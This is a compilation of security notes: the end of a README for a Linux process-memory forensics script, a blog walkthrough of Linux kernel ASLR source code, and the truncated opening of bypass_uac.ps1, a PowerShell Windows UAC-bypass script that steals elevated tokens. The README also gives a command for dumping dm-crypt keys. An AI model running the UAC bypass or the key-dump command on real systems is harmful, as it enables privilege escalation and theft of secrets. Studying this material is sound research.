as an unprivileged user**.** I still managed to pull quite a bit of
information out running it under my normal unprivileged account**.**

For a forensics class, and generally because there's a lack of memory dumping
utilities for Linux these days since /dev/mem was deprecated**.**

#  Limitations****

This script collects its list of PIDs at start-up, and then scans through each
one**.** The process takes a while. By the time it makes it to a given process
it may have died, and by the time it finishes new processes may have
spawned**.** Since the goal of this script is to collect data from longer-
running processes such as web browsers and editors, I don't consider this a
huge issue**.** Any competent forensic examiner uses this script alongside
other techniques such as disk imaging anyway**.**

It's slow as balls right now, I think because access to /proc is slow on my
system, which is pretty up-to-date \(kernel 3**.** 8**.** 4\) probably because
the kernel generates maps files and such on the fly**.**

It probably will not obtain dm-crypt encryption keys, as those are likely to
be stored in the memory of kernel threads, but those can easily be obtained
\(if you have root\) with "dmsetup table --showkeys"**.** Like I said, there's
a whole array of steps you'd want to run on a system you're examining, and
this tool is only one of them, and does not attempt to be a one-stop forensics
tool**.**

Everything about this script is also based on virtual memory addresses, not
physical**.** This will complicate the process of verifying results**.**
Memory imaging in general is, in my opinion, very difficult to verify because
RAM by its very nature is constantly changing, and it is impossible to image a
box's memory without changing it in some way**.** Thus, the ability of this
tool's output to stand up in court is questionable**.**

This tool is not intended to image every byte on the box, and is incapable of
doing so**.** This applies in particular to free \(unallocated\) and I/O cache
memory**.**

#  Disclaimer****

I've written this utility in good faith**.** It's open source, you can see
exactly how it gathers its data, and you can go back to the Linux kernel docs
or even the kernel source to examine its behavior**.** All this said, I cannot
and will not be held liable for any inaccurate results returned by this tool,
nor is any warranty provided \(please see the license below\)**.**

Also, if you are a forensic examiner, please do not exclude the possibility
that a smart enemy/target has modified their kernel to lie about memory
regions or lie in /proc//mem**.** It's pretty easy to do**.**

#  License****

The MIT License \(MIT\)

Copyright \(c\) 2013 Dan Fuhry dan@fuhry.com

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the "Software"\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software**.**

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT**.** IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE**.**

****

# Linux kernel ASLR Implementation « xorl %eax, %eax

**Created:**| _1/18/2011 9:53:17 AM_  
---|---  
**Updated:**| _1/18/2011 9:53:34 AM_  
**Author:**| __  
**Tags:**| _aslr Linux programming kernel_  
  

## Linux kernel ASLR Implementation

leave a comment »

Since June 2005 \(specifically 2.6.12\), Linux kernel has build-in ASLR
\(Address space Layout Randomization\) support. In this post I’m trying to
give a brief description of how this is implemented. However, I will be
focusing more to the x86 architecture since this protection mechanism leads to
some architecture dependent issues.  
  
**Random Number Generation**  
The PRNG used for ASLR of Linux kernel is the get\_random\_int\(\) routine as
we’ll see later in this post. This function is located at
drivers/char/random.c file and it is shown below.

`01` | `static` `struct` `keydata {`  
---|---  
`02` | ` ``__u32 count; ``/* already shifted to the final position */`  
---|---  
`03` | ` ``__u32 secret[12];`  
---|---  
`04` | `} ____cacheline_aligned ip_keydata[2];`  
---|---  
`05` | ` ``...`  
---|---  
`06` | `/*`  
---|---  
`07` | ` ``* Get a random word for internal kernel use only. Similar to urandom but`  
---|---  
`08` | ` ``* with the goal of minimal entropy pool depletion. As a result, the random`  
---|---  
`09` | ` ``* value is not cryptographically secure but for several uses the cost of`  
---|---  
`10` | ` ``* depleting entropy is too high`  
---|---  
`11` | ` ``*/`  
---|---  
`12` | `DEFINE_PER_CPU(__u32 [4], get_random_int_hash);`  
---|---  
`13` | `unsigned ``int` `get_random_int(``void``)`  
---|---  
`14` | `{`  
---|---  
`15` | ` ``struct` `keydata *keyptr;`  
---|---  
`16` | ` ``__u32 *hash = get_cpu_var(get_random_int_hash);`  
---|---  
`17` | ` ``int` `ret;`  
---|---  
`18` |   
---|---  
`19` | ` ``keyptr = get_keyptr();`  
---|---  
`20` | ` ``hash[0] += current->pid + jiffies + get_cycles();`  
---|---  
`21` |   
---|---  
`22` | ` ``ret = half_md4_transform(hash, keyptr->secret);`  
---|---  
`23` | ` ``put_cpu_var(get_random_int_hash);`  
---|---  
`24` |   
---|---  
`25` | ` ``return` `ret;`  
---|---  
`26` | `}`  
---|---  
After defining some per-processor values, it uses the
get\_cpu\_var\(\)/put\_cpu\_var\(\) C macros to get and store the random hash
to the processor specific array. This is leaving us with get\_keyptr\(\) which
initializes the ‘keydata’ structure and the actual random number generation.  
The ‘keydata’ initialization is performed using this C function:

`01` | `static` `struct` `keydata {`  
---|---  
`02` | ` ``__u32 count; ``/* already shifted to the final position */`  
---|---  
`03` | ` ``__u32 secret[12];`  
---|---  
`04` | `} ____cacheline_aligned ip_keydata[2];`  
---|---  
`05` |   
---|---  
`06` | `static` `unsigned ``int` `ip_cnt;`  
---|---  
`07` | ` ``...`  
---|---  
`08` | `static` `inline` `struct` `keydata *get_keyptr(``void``)`  
---|---  
`09` | `{`  
---|---  
`10` | ` ``struct` `keydata *keyptr = &ip_keydata[ip_cnt & 1];`  
---|---  
`11` |   
---|---  
`12` | ` ``smp_rmb();`  
---|---  
`13` |   
---|---  
`14` | ` ``return` `keyptr;`  
---|---  
`15` | `}`  
---|---  
The smp\_rmb\(\) macro is defined in arch/x86/include/asm/system.h header file
for the x86 architecture and it stands for Read Memory Barrier.

`01` | `/*`  
---|---  
`02` | ` ``* Force strict CPU ordering.`  
---|---  
`03` | ` ``* And yes, this is required on UP too when we're talking`  
---|---  
`04` | ` ``* to devices.`  
---|---  
`05` | ` ``*/`  
---|---  
`06` | `#ifdef CONFIG_X86_32`  
---|---  
`07` | `/*`  
---|---  
`08` | ` ``* Some non-Intel clones support out of order store. wmb() ceases to be a`  
---|---  
`09` | ` ``* nop for these.`  
---|---  
`10` | ` ``*/`  
---|---  
`11` | `#define mb() alternative("lock; addl $0,0(%%esp)", "mfence", X86_FEATURE_XMM2)`  
---|---  
`12` | `#define rmb() alternative("lock; addl $0,0(%%esp)", "lfence", X86_FEATURE_XMM2)`  
---|---  
`13` | `#define wmb() alternative("lock; addl $0,0(%%esp)", "sfence", X86_FEATURE_XMM)`  
---|---  
`14` | `#else`  
---|---  
`15` | `#define mb() asm volatile("mfence":::"memory")`  
---|---  
`16` | `#define rmb() asm volatile("lfence":::"memory")`  
---|---  
`17` | `#define wmb() asm volatile("sfence" ::: "memory")`  
---|---  
`18` | `#endif`  
---|---  
`19` | ` ``...`  
---|---  
`20` | `#ifdef CONFIG_SMP`  
---|---  
`21` | `#define smp_mb() mb()`  
---|---  
`22` | `#ifdef CONFIG_X86_PPRO_FENCE`  
---|---  
`23` | `# define smp_rmb() rmb()`  
---|---  
`24` | `#else`  
---|---  
`25` | `# define smp_rmb() barrier()`  
---|---  
`26` | `#endif`  
---|---  
This is used to flush any pending read that subsequent reads depend on. As we
can read in the same header file:

`01` | `* No data-dependent reads from memory-like regions are ever reordered`  
---|---  
`02` | `* over ``this` `barrier. All reads preceding ``this` `primitive are guaranteed`  
---|---  
`03` | `* to access memory (but not necessarily other CPUs' caches) before any`  
---|---  
`04` | `* reads following ``this` `primitive that depend on the data ``return` `by`  
---|---  
`05` | `* any of the preceding reads. This primitive is much lighter weight than`  
---|---  
`06` | `* rmb() on most CPUs, and is never heavier weight than is`  
---|---  
`07` | `* rmb().`  
---|---  
`08` | `*`  
---|---  
`09` | `* These ordering constraints are respected by both the local CPU`  
---|---  
`10` | `* and the compiler.`  
---|---  
`11` | `*`  
---|---  
`12` | `* Ordering is not guaranteed by anything other than these primitives,`  
---|---  
`13` | `* not even by data dependencies. See the documentation ``for`  
---|---  
`14` | `* memory_barrier() ``for` `examples and URLs to more information.`  
---|---  
This ensures that ‘keyptr’ initialization doesn’t get reordered and back to
get\_random\_int\(\) we can now have a look at the exact random number
generation code. According to:

`1` | `hash[0] += current->pid + jiffies + get_cycles()`  
---|---  
We have four different variables being involved. Those are:  
\- The address of the first element of the ‘hash\[0\]‘ array  
\- The currently executing process ID for the processor that handles this  
\- The system’s jiffies value  
\- CPU cycles number  
The last variable is derived from get\_cycles\(\) inline function that is
defined at arch/x86/include/asm/tsc.h for the x86 architecture.

`01` | `static` `inline` `cycles_t get_cycles(``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``unsigned ``long` `long` `ret = 0;`  
---|---  
`04` |   
---|---  
`05` | `#ifndef CONFIG_X86_TSC`  
---|---  
`06` | ` ``if` `(!cpu_has_tsc)`  
---|---  
`07` | ` ``return` `0;`  
---|---  
`08` | `#endif`  
---|---  
`09` | ` ``rdtscll(ret);`  
---|---  
`10` |   
---|---  
`11` | ` ``return` `ret;`  
---|---  
`12` | `}`  
---|---  
This means that if the processor supports rdtsc instruction it will jump to
arch/x86/include/asm/msr.h header file to execute the following C macro:

`01` | `static` `__always_inline unsigned ``long` `long` `__native_read_tsc(``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``DECLARE_ARGS(val, low, high);`  
---|---  
`04` |   
---|---  
`05` | ` ``asm ``volatile``(``"rdtsc"` `: EAX_EDX_RET(val, low, high));`  
---|---  
`06` |   
---|---  
`07` | ` ``return` `EAX_EDX_VAL(val, low, high);`  
---|---  
`08` | `}`  
---|---  
`09` | ` ``...`  
---|---  
`10` | `#define rdtscll(val) \`  
---|---  
`11` | ` ``((val) = __native_read_tsc())`  
---|---  
Which basically, simply executes the rdtsc instruction.  
Back to get\_random\_int\(\) we can see that even though there are a lot of
difficult to guess variables being used to generate that pseudo-random
integer, it also calls half\_md4\_transform\(\) which is defined at
lib/halfmd4.c and it implements a basic MD4 algorithm.

`01` | `/* F, G and H are basic MD4 functions: selection, majority, parity */`  
---|---  
`02` | `#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z))))`  
---|---  
`03` | `#define G(x, y, z) (((x) & (y)) + (((x) ^ (y)) & (z)))`  
---|---  
`04` | `#define H(x, y, z) ((x) ^ (y) ^ (z))`  
---|---  
`05` | ` ``...`  
---|---  
`06` | `#define ROUND(f, a, b, c, d, x, s) \`  
---|---  
`07` | ` ``(a += f(b, c, d) + x, a = (a << s) | (a >> (32 - s)))`  
---|---  
`08` | `#define K1 0`  
---|---  
`09` | `#define K2 013240474631UL`  
---|---  
`10` | `#define K3 015666365641UL`  
---|---  
`11` | ` ``...`  
---|---  
`12` | `__u32 half_md4_transform(__u32 buf[4], __u32 ``const` `in[8])`  
---|---  
`13` | `{`  
---|---  
`14` | ` ``__u32 a = buf[0], b = buf[1], c = buf[2], d = buf[3];`  
---|---  
`15` |   
---|---  
`16` | ` ``/* Round 1 */`  
---|---  
`17` | ` ``ROUND(F, a, b, c, d, in[0] + K1, 3);`  
---|---  
`18` | ` ``ROUND(F, d, a, b, c, in[1] + K1, 7);`  
---|---  
`19` | ` ``ROUND(F, c, d, a, b, in[2] + K1, 11);`  
---|---  
`20` | ` ``ROUND(F, b, c, d, a, in[3] + K1, 19);`  
---|---  
`21` | ` ``ROUND(F, a, b, c, d, in[4] + K1, 3);`  
---|---  
`22` | ` ``ROUND(F, d, a, b, c, in[5] + K1, 7);`  
---|---  
`23` | ` ``ROUND(F, c, d, a, b, in[6] + K1, 11);`  
---|---  
`24` | ` ``ROUND(F, b, c, d, a, in[7] + K1, 19);`  
---|---  
`25` |   
---|---  
`26` | ` ``/* Round 2 */`  
---|---  
`27` | ` ``ROUND(G, a, b, c, d, in[1] + K2, 3);`  
---|---  
`28` | ` ``ROUND(G, d, a, b, c, in[3] + K2, 5);`  
---|---  
`29` | ` ``ROUND(G, c, d, a, b, in[5] + K2, 9);`  
---|---  
`30` | ` ``ROUND(G, b, c, d, a, in[7] + K2, 13);`  
---|---  
`31` | ` ``ROUND(G, a, b, c, d, in[0] + K2, 3);`  
---|---  
`32` | ` ``ROUND(G, d, a, b, c, in[2] + K2, 5);`  
---|---  
`33` | ` ``ROUND(G, c, d, a, b, in[4] + K2, 9);`  
---|---  
`34` | ` ``ROUND(G, b, c, d, a, in[6] + K2, 13);`  
---|---  
`35` |   
---|---  
`36` | ` ``/* Round 3 */`  
---|---  
`37` | ` ``ROUND(H, a, b, c, d, in[3] + K3, 3);`  
---|---  
`38` | ` ``ROUND(H, d, a, b, c, in[7] + K3, 9);`  
---|---  
`39` | ` ``ROUND(H, c, d, a, b, in[2] + K3, 11);`  
---|---  
`40` | ` ``ROUND(H, b, c, d, a, in[6] + K3, 15);`  
---|---  
`41` | ` ``ROUND(H, a, b, c, d, in[1] + K3, 3);`  
---|---  
`42` | ` ``ROUND(H, d, a, b, c, in[5] + K3, 9);`  
---|---  
`43` | ` ``ROUND(H, c, d, a, b, in[0] + K3, 11);`  
---|---  
`44` | ` ``ROUND(H, b, c, d, a, in[4] + K3, 15);`  
---|---  
`45` |   
---|---  
`46` | ` ``buf[0] += a;`  
---|---  
`47` | ` ``buf[1] += b;`  
---|---  
`48` | ` ``buf[2] += c;`  
---|---  
`49` | ` ``buf[3] += d;`  
---|---  
`50` |   
---|---  
`51` | ` ``return` `buf[1]; ``/* "most hashed" word */`  
---|---  
`52` | `}`  
---|---  
This makes things even more complex for anyone attempting to guess the
resulted integer. Now that we have a basic understanding of the pseudo-random
number generation routine utilized by the Linux ASLR implementation we can
move on to the actual code that uses this.  
  
**brk\(2\) Randomization**  
At the fs/binfmt\_elf.c is where the Linux kernel’s ELF loader is located. The
routine that loads the actual executable binary file is the
load\_elf\_binary\(\) which among others includes the following code.

`01` | `static` `int` `load_elf_binary(``struct` `linux_binprm *bprm, ``struct` `pt_regs *regs)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``struct` `file *interpreter = NULL; ``/* to shut gcc up */`  
---|---  
`04` | ` ``unsigned ``long` `load_addr = 0, load_bias = 0;`  
---|---  
`05` | ` ``...`  
---|---  
`06` | `#ifdef arch_randomize_brk`  
---|---  
`07` | ` ``if` `((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1))`  
---|---  
`08` | ` ``current->mm->brk = current->mm->start_brk =`  
---|---  
`09` | ` ``arch_randomize_brk(current->mm);`  
---|---  
`10` | `#endif`  
---|---  
`11` | ` ``...`  
---|---  
`12` | `out_free_ph:`  
---|---  
`13` | ` ``kfree(elf_phdata);`  
---|---  
`14` | ` ``goto` `out;`  
---|---  
`15` | `}`  
---|---  
This means that if the ‘arch\_randomize\_brk’ is defined it will check if the
current process should have a randomized virtual address space using
‘PF\_RANDOMIZE’ flag as well as if the ‘randomize\_va\_space’ is greater than
1. If this is the case, it will update its current starting data segment
address using the return address of arch\_randomize\_brk\(\).  
The latter routine can be found at arch/x86/kernel/process.c for the x86
family.

`1` | `unsigned ``long` `arch_randomize_brk(``struct` `mm_struct *mm)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``unsigned ``long` `range_end = mm->brk + 0x02000000;`  
---|---  
`4` | ` ``return` `randomize_range(mm->brk, range_end, 0) ? : mm->brk;`  
---|---  
`5` | `}`  
---|---  
It calculates the end of the data segment by adding 0×02000000 to the starting
address and then calling randomize\_range\(\) to randomize the given address
space. This randomization routine is also placed in drivers/char/random.c and
you can see it here:

`01` | `/*`  
---|---  
`02` | ` ``* randomize_range() returns a start address such that`  
---|---  
`03` | ` ``*`  
---|---  
`04` | ` ``* [...... <range> .....]`  
---|---  
`05` | ` ``* start end`  
---|---  
`06` | ` ``*`  
---|---  
`07` | ` ``* a <range> with size "len" starting at the return value is inside in the`  
---|---  
`08` | ` ``* area defined by [start, end], but is otherwise randomized.`  
---|---  
`09` | ` ``*/`  
---|---  
`10` | `unsigned ``long`  
---|---  
`11` | `randomize_range(unsigned ``long` `start, unsigned ``long` `end, unsigned ``long` `len)`  
---|---  
`12` | `{`  
---|---  
`13` | ` ``unsigned ``long` `range = end - len - start;`  
---|---  
`14` |   
---|---  
`15` | ` ``if` `(end <= start + len)`  
---|---  
`16` | ` ``return` `0;`  
---|---  
`17` | ` ``return` `PAGE_ALIGN(get_random_int() % range + start);`  
---|---  
`18` | `}`  
---|---  
If the range is correct, it will invoke get\_random\_int\(\) using the
starting address and of course, the resulted value is aligned to the next page
boundary as this is defined by the ‘PAGE\_SIZE’ constant.  
  
**SYSCTL Interface**  
In the previous section we encountered a variable named
‘randomize\_va\_space’. As almost any Linux administrator knows, the Linux
ASLR can be tuned using the ‘/proc/sys/vm/randomize\_va\_space’ or
‘kernel.randomize\_va\_space’ SYSCTL variable. In both cases the result is
passing an integer value to the kernel as we can read at kernel/sysctl.c which
is where this is defined.

`01` | `static` `struct` `ctl_table kern_table[] = {`  
---|---  
`02` | ` ``...`  
---|---  
`03` | `#if defined(CONFIG_MMU)`  
---|---  
`04` | ` ``{`  
---|---  
`05` | ` ``.procname = ``"randomize_va_space"``,`  
---|---  
`06` | ` ``.data = &randomize_va_space,`  
---|---  
`07` | ` ``.maxlen = ``sizeof``(``int``),`  
---|---  
`08` | ` ``.mode = 0644,`  
---|---  
`09` | ` ``.proc_handler = proc_dointvec,`  
---|---  
`10` | ` ``},`  
---|---  
`11` | `#endif`  
---|---  
`12` | ` ``...`  
---|---  
`13` | `/*`  
---|---  
`14` | ` ``* NOTE: do not add new entries to this table unless you have read`  
---|---  
`15` | ` ``* Documentation/sysctl/ctl_unnumbered.txt`  
---|---  
`16` | ` ``*/`  
---|---  
`17` | ` ``{ }`  
---|---  
`18` | `};`  
---|---  
The actual variable ‘randomize\_va\_space’ is placed in mm/memory.c as shown
below.

`01` | `/*`  
---|---  
`02` | ` ``* Randomize the address space (stacks, mmaps, brk, etc.).`  
---|---  
`03` | ` ``*`  
---|---  
`04` | ` ``* ( When CONFIG_COMPAT_BRK=y we exclude brk from randomization,`  
---|---  
`05` | ` ``* as ancient (libc5 based) binaries can segfault. )`  
---|---  
`06` | ` ``*/`  
---|---  
`07` | `int` `randomize_va_space __read_mostly =`  
---|---  
`08` | `#ifdef CONFIG_COMPAT_BRK`  
---|---  
`09` | ` ``1;`  
---|---  
`10` | `#else`  
---|---  
`11` | ` ``2;`  
---|---  
`12` | `#endif`  
---|---  
Here, the ‘\_\_read\_mostly’ modifier is an architecture specific attribute
which in case of x86 processors is defined in arch/x86/include/asm/cache.h
header file.

`1` | `#define __read_mostly __attribute__((__section__(".data..read_mostly")))`  
---|---  
This forces the variable to be placed in a section called .data.read\_mostly
that is designed for static variables which are initialized once and very
rarely changed.  
From the kernel developers’ comment we can also see that if the compatibility
support option for brk\(2\) system call is enabled, it will not randomize it
since it could break old versions of C library. Additionally, this variable is
defined in SYSCTL’s kernel table as we can find at kernel/sysctl\_binary.c
file.

`1` | `static` `const` `struct` `bin_table bin_kern_table[] = {`  
---|---  
`2` | ` ``...`  
---|---  
`3` | ` ``{ CTL_INT, KERN_RANDOMIZE, ``"randomize_va_space"` `},`  
---|---  
`4` | ` ``...`  
---|---  
`5` | ` ``{}`  
---|---  
`6` | `};`  
---|---  
Which uses the ‘KERN\_RANDOMIZE’ value as this was defined in
include/linux/sysctl.h header file.

`1` | `/* CTL_KERN names: */`  
---|---  
`2` | `enum`  
---|---  
`3` | `{`  
---|---  
`4` | ` ``...`  
---|---  
`5` | ` ``KERN_RANDOMIZE=68, ``/* int: randomize virtual address space */`  
---|---  
`6` | ` ``...`  
---|---  
`7` | `};`  
---|---  
Now that we have a basic understanding of what is going on in the kernel when
manipulating that variable through SYSCTL interface, we can move to the more
interesting parts…  
  
**Stack Randomization**  
The actual stack randomization takes place in fs/exec.c and more specifically
in the setup\_arg\_pages\(\) routine which is responsible for the final stage
of stack initialization before executing a binary. Here is a code snippet that
demonstrates how the stack randomization is implemented…

`01` | `/*`  
---|---  
`02` | ` ``* Finalizes the stack vm_area_struct. The flags and permissions are updated,`  
---|---  
`03` | ` ``* the stack is optionally relocated, and some extra space is added.`  
---|---  
`04` | ` ``*/`  
---|---  
`05` | `int` `setup_arg_pages(``struct` `linux_binprm *bprm,`  
---|---  
`06` | ` ``unsigned ``long` `stack_top,`  
---|---  
`07` | ` ``int` `executable_stack)`  
---|---  
`08` | `{`  
---|---  
`09` | ` ``...`  
---|---  
`10` | `#ifdef CONFIG_STACK_GROWSUP`  
---|---  
`11` | ` ``...`  
---|---  
`12` | `#else`  
---|---  
`13` | ` ``stack_top = arch_align_stack(stack_top);`  
---|---  
`14` | ` ``stack_top = PAGE_ALIGN(stack_top);`  
---|---  
`15` | ` ``...`  
---|---  
`16` | `out_unlock:`  
---|---  
`17` | ` ``up_write(&mm->mmap_sem);`  
---|---  
`18` | ` ``return` `ret;`  
---|---  
`19` | `}`  
---|---  
If the stack segment does not grow upwards, it will use arch\_align\_stack\(\)
passing the stack top address which was an argument of setup\_arg\_pages\(\)
routine. Then it will align the returned value in a page boundary and continue
with the stack segment setup. Assuming that we’re dealing with an x86
architecture, the initial function call will lead to arch/x86/kernel/process.c
file where we can find the following code.

`1` | `unsigned ``long` `arch_align_stack(unsigned ``long` `sp)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``if` `(!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)`  
---|---  
`4` | ` ``sp -= get_random_int() % 8192;`  
---|---  
`5` | ` ``return` `sp & ~0xf;`  
---|---  
`6` | `}`  
---|---  
The check is fairly simple. If the currently executed task doesn’t have
‘ADDR\_NO\_RANDOMIZE’ personality set which is used to disable the
randomization and the ‘randomize\_va\_space’ has a non-zero value, it will
invoke get\_random\_int\(\) to perform the stack randomization. Before moving
on, for completeness here is the include/linux/personality.h header file’s
definition of the above personality constant value.

`1` | `/*`  
---|---  
`2` | ` ``* Flags for bug emulation.`  
---|---  
`3` | ` ``*`  
---|---  
`4` | ` ``* These occupy the top three bytes.`  
---|---  
`5` | ` ``*/`  
---|---  
`6` | `enum` `{`  
---|---  
`7` | ` ``ADDR_NO_RANDOMIZE = 0x0040000, ``/* disable randomization of VA space */`  
---|---  
`8` | ` ``...`  
---|---  
`9` | `};`  
---|---  
Back to arch\_align\_stack\(\), after decrementing the stack pointer with the
random number in case of an ASLR supported task, it’ll align it by masking it
with 0xfffffff0 on 32-bit processors. However, a quick look in
fs/binfmt\_elf.c shows that this is not that simple since this is how it’s
implemented in the ELF loader’s code…

`01` | `static` `int` `load_elf_binary(``struct` `linux_binprm *bprm, ``struct` `pt_regs *regs)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``struct` `file *interpreter = NULL; ``/* to shut gcc up */`  
---|---  
`04` | ` ``...`  
---|---  
`05` | ` ``/* Do this so that we can load the interpreter, if need be. We will`  
---|---  
`06` | ` ``change some of these later */`  
---|---  
`07` | ` ``current->mm->free_area_cache = current->mm->mmap_base;`  
---|---  
`08` | ` ``current->mm->cached_hole_size = 0;`  
---|---  
`09` | ` ``retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),`  
---|---  
`10` | ` ``executable_stack);`  
---|---  
`11` | ` ``...`  
---|---  
`12` | ` ``goto` `out;`  
---|---  
`13` | `}`  
---|---  
We can see here that it passes a randomized stack top pointer using the
randomize\_stack\_top\(\) routine from the same source code file.

`01` | `#ifndef STACK_RND_MASK`  
---|---  
`02` | `#define STACK_RND_MASK (0x7ff >> (PAGE_SHIFT - 12)) /* 8MB of VA */`  
---|---  
`03` | `#endif`  
---|---  
`04` |   
---|---  
`05` | `static` `unsigned ``long` `randomize_stack_top(unsigned ``long` `stack_top)`  
---|---  
`06` | `{`  
---|---  
`07` | ` ``unsigned ``int` `random_variable = 0;`  
---|---  
`08` |   
---|---  
`09` | ` ``if` `((current->flags & PF_RANDOMIZE) &&`  
---|---  
`10` | ` ``!(current->personality & ADDR_NO_RANDOMIZE)) {`  
---|---  
`11` | ` ``random_variable = get_random_int() & STACK_RND_MASK;`  
---|---  
`12` | ` ``random_variable <<= PAGE_SHIFT;`  
---|---  
`13` | ` ``}`  
---|---  
`14` | `#ifdef CONFIG_STACK_GROWSUP`  
---|---  
`15` | ` ``return` `PAGE_ALIGN(stack_top) + random_variable;`  
---|---  
`16` | `#else`  
---|---  
`17` | ` ``return` `PAGE_ALIGN(stack_top) - random_variable;`  
---|---  
`18` | `#endif`  
---|---  
`19` | `}`  
---|---  
Once again, the current process won’t be randomized if it doesn’t have
‘PF\_RANDOMIZE’ flag and it has ‘ADDR\_NO\_RANDOMIZE’ personality set.
Otherwise, it will use get\_random\_int\(\) as well as the ‘STACK\_RND\_MASK’
to mask the returned integer. Although you see the definition of the latter
constant in the given code snippet, it is originally defined in the
architecture specific arch/x86/include/asm/elf.h header file.

`1` | `#ifdef CONFIG_X86_32`  
---|---  
`2` |   
---|---  
`3` | `#define STACK_RND_MASK (0x7ff)`  
---|---  
This is pretty much the stack ASLR implementation of Linux.  
  
**mmap\(2\) Randomization**  
Before we dive into the mmap\(2\) randomization itself, what happens with
mmap\(2\) allocations colliding with the randomized stack space?  
So, to avoid such collisions with the stack randomized virtual address space,
Linux kernel developers implemented the following routine in
arch/x86/mm/mmap.c file.

`01` | `static` `unsigned ``int` `stack_maxrandom_size(``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``unsigned ``int` `max = 0;`  
---|---  
`04` | ` ``if` `((current->flags & PF_RANDOMIZE) &&`  
---|---  
`05` | ` ``!(current->personality & ADDR_NO_RANDOMIZE)) {`  
---|---  
`06` | ` ``max = ((-1U) & STACK_RND_MASK) << PAGE_SHIFT;`  
---|---  
`07` | ` ``}`  
---|---  
`08` |   
---|---  
`09` | ` ``return` `max;`  
---|---  
`10` | `}`  
---|---  
`11` |   
---|---  
`12` | `/*`  
---|---  
`13` | ` ``* Top of mmap area (just below the process stack).`  
---|---  
`14` | ` ``*`  
---|---  
`15` | ` ``* Leave an at least ~128 MB hole with possible stack randomization.`  
---|---  
`16` | ` ``*/`  
---|---  
`17` | `#define MIN_GAP (128*1024*1024UL + stack_maxrandom_size())`  
---|---  
`18` | `#define MAX_GAP (TASK_SIZE/6*5)`  
---|---  
After performing the usual checks on the currently executing task, it
calculates the maximum randomized address based on the ‘STACK\_RND\_MASK’
value. Later on, inside mmap\_base\(\) we can see how the above C macros are
used to ensure it doesn’t collide with the randomized space.

`01` | `static` `unsigned ``long` `mmap_base(``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``unsigned ``long` `gap = rlimit(RLIMIT_STACK);`  
---|---  
`04` |   
---|---  
`05` | ` ``if` `(gap < MIN_GAP)`  
---|---  
`06` | ` ``gap = MIN_GAP;`  
---|---  
`07` | ` ``else` `if` `(gap > MAX_GAP)`  
---|---  
`08` | ` ``gap = MAX_GAP;`  
---|---  
`09` |   
---|---  
`10` | ` ``return` `PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd());`  
---|---  
`11` | `}`  
---|---  
Here is also our first contact with the mmap\(2\) randomization routine which
is, of course, through mmap\_rnd\(\). This one is placed in arch/x86/mm/mmap.c
and its code is this:

`01` | `static` `unsigned ``long` `mmap_rnd(``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``unsigned ``long` `rnd = 0;`  
---|---  
`04` |   
---|---  
`05` | ` ``/*`  
---|---  
`06` | ` ``* 8 bits of randomness in 32bit mmaps, 20 address space bits`  
---|---  
`07` | ` ``* 28 bits of randomness in 64bit mmaps, 40 address space bits`  
---|---  
`08` | ` ``*/`  
---|---  
`09` | ` ``if` `(current->flags & PF_RANDOMIZE) {`  
---|---  
`10` | ` ``if` `(mmap_is_ia32())`  
---|---  
`11` | ` ``rnd = (``long``)get_random_int() % (1<<8);`  
---|---  
`12` | ` ``else`  
---|---  
`13` | ` ``rnd = (``long``)(get_random_int() % (1<<28));`  
---|---  
`14` | ` ``}`  
---|---  
`15` | ` ``return` `rnd << PAGE_SHIFT;`  
---|---  
`16` | `}`  
---|---  
Which is pretty self-explanatory code.  
  
So, I believe this post should give readers a grasp on how Linux ASLR is
implemented. I used 2.6.36 version of the Linux kernel so this might be
useless for future releases but for now it is up-to-date. Any comments,
corrections or suggestions are always welcome.

# bypass\_uac.ps1

**Created:**| _5/31/2017 6:10:00 PM_  
---|---  
**Updated:**| _5/31/2017 6:10:00 PM_  
**Author:**| __  
**Tags:**| _powershell windows-environment priv\_esc_  
  

  

Raw

**bypass\_uac.ps1** Permalink

1 | \# Powershell script to bypass UAC on Vista+ assuming  
---|---  
2 | \# there exists one elevated process on the same desktop.  
3 | \# Technical details in:  
4 | \# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html  
5 | \# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html  
6 | \# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html  
7 | \# You need to Install-Module NtObjectManager for this to run.  
8 |   
9 | Import-Module NtObjectManager  
10 |   
11 | \# Function to find the first accessible elevated token.  
12 | function Get-ElevatedToken \{  
13 |  Param\(\[switch\]$NoFilter\)  
14 |  $token = $null  
15 |  while \($true\) \{  
16 |  Write-Host "Checking for elevated processes"  
17 |  $token = Use-NtObject\($ps = Get-NtProcess\) \{   
18 |  foreach\($p in $ps\) \{  
19 |  try \{  
20 |  $ret = Use-NtObject\($token = Get-NtToken -Primary \`  
21 |  -Process $p -Duplicate \`  
22 |  -IntegrityLevel Medium\) \{  
23 |  if \($token.Elevated\) \{  
